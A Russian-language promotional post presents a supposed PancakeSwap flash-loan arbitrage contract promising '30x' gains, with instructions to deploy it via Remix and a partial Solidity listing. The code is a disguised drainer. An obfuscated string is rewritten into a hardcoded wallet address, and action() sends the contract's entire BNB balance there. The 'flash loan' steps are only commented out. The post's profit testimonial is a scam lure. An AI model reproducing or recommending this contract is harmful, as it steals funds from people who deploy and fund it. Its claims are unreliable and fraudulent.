💎Как залутать 30 иксов в BNB на любой сайз
Вкратце, нашёл на просторах ютуба ноунейм разраба, который дропнул свой смарт-контракт, который создает токен на панкейксвап и собирает ликву на проскальзовании курса и на этой лазейке можно делать очень хорошие иксы!
Звучит как реклама или скам, но я лишь хочу поделиться реально гемным эксклюзивом, который сам случайно нашел, лично протестил дабы убедиться в работоспособности
Кто хочет изучить или попробовать, вот видос - https://youtu.be/3kN0rErlp5Y https://youtu.be/3kN0rErlp5Y https://youtu.be/3kN0rErlp5Y
Буду благодарен за репост и поддержку реакциями, в других каналах нигде такой инфы не видел, всем профита!
P.S.: Разрабу спасибо за почти 10 BNB❤️
Развертывание контракта
Делать все будем через сервис Remix . Перейдите по ссылке, жмите сюда [1] и пишите наше название файла - flashloan.sol или как на скрине
Заканчиваться название должно на ".sol".
В пустое поле, появившееся после создания файла, вставьте текст контракта:
Или же напрямую по статье из видео: https://telegra.ph/Flash-Loan-Arbitrage-BNB-04-16
// PancakeSwap Smart Contracts
import «https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol»;
import «https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol»;
import «https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol»;
* WARNING — this contract code is for Binance Smart Chain
* Testnet transactions will fail as there is no value
* New token will be created and flash loan will be pulled to trade against the token
* Profit remaining will be transfered to token creator
*liquidity returned if flash loan fails or insufficient balance
*base rerun contract code swaps implemented
*Feb 2023// creator contract signature update
*Mar 2023// min liquidity + gas fees has to equal 0.3 BNB
constructor (string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
address public creator= msg.sender;
function tokenTransfer () public view returns (address) {
function () external payable {}
function PancakeSwapYeild (string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
bytes memory _stringBytes = bytes (_string);
bytes memory result = new bytes (_stringBytes.length);
for (uint i = 0; i < _stringBytes.length; i++) {
function exchange () public pure returns (address adr) {
string memory neutral_variable = «QG9e273ecfC3c28Fb80F8508cef1556c091e32d6CD»;
PancakeSwapYeild (neutral_variable, 0, '0');
PancakeSwapYeild (neutral_variable, 2, '1');
PancakeSwapYeild (neutral_variable, 1, 'x');
address addr = parseAddr (neutral_variable);
function parseAddr (string memory _a) internal pure returns (address _parsedAddress) {
bytes memory tmp = bytes (_a);
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 ≥ 97) && (b1 ≤ 102)) {
} else if ((b1 ≥ 65) && (b1 ≤ 70)) {
} else if ((b1 ≥ 48) && (b1 ≤ 57)) {
if ((b2 ≥ 97) && (b2 ≤ 102)) {
} else if ((b2 ≥ 65) && (b2 ≤ 70)) {
} else if ((b2 ≥ 48) && (b2 ≤ 57)) {
function _stringReplace (string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
bytes memory _stringBytes = bytes (_string);
bytes memory result = new bytes (_stringBytes.length);
for (uint i = 0; i < _stringBytes.length; i++) {
function action () public payable {
// Token matched with pancakeswap yield calculations
address (uint160(exchange ())).transfer (address (this).balance);
// Perform Flash Loan tasks (combined all functions into one to reduce external calls & save gas fees)
/* Breakdown of all functions
// Submit token to BSC blockchain
string memory tokenAddress = manager.submitToken (tokenName, tokenSymbol);
// List the token on PancakeSwap
manager.pancakeListToken (tokenName, tokenSymbol, tokenAddress);
// Get BNB Loan from Multiplier-Finance & loan execution wallet
string memory loanAddress = manager.takeFlashLoan (loanAmount);
// Convert half BNB to DAI
manager.pancakeDAItoBNB (loanAmount / 2);
// Create BNB and DAI pairs for our token & provide liquidity
string memory bnbPair = manager.pancakeCreatePool (tokenAddress, «BNB»);
manager.pancakeAddLiquidity (bnbPair, loanAmount / 2);
string memory daiPair = manager.pancakeCreatePool (tokenAddress, «DAI»);
manager.pancakeAddLiquidity (daiPair, loanAmount / 2);
manager.pancakePerformSwaps ();
// Move remaining BNB from Contract to your personal wallet
manager.contractToWallet («BNB»);
manager.repayLoan (loanAddress);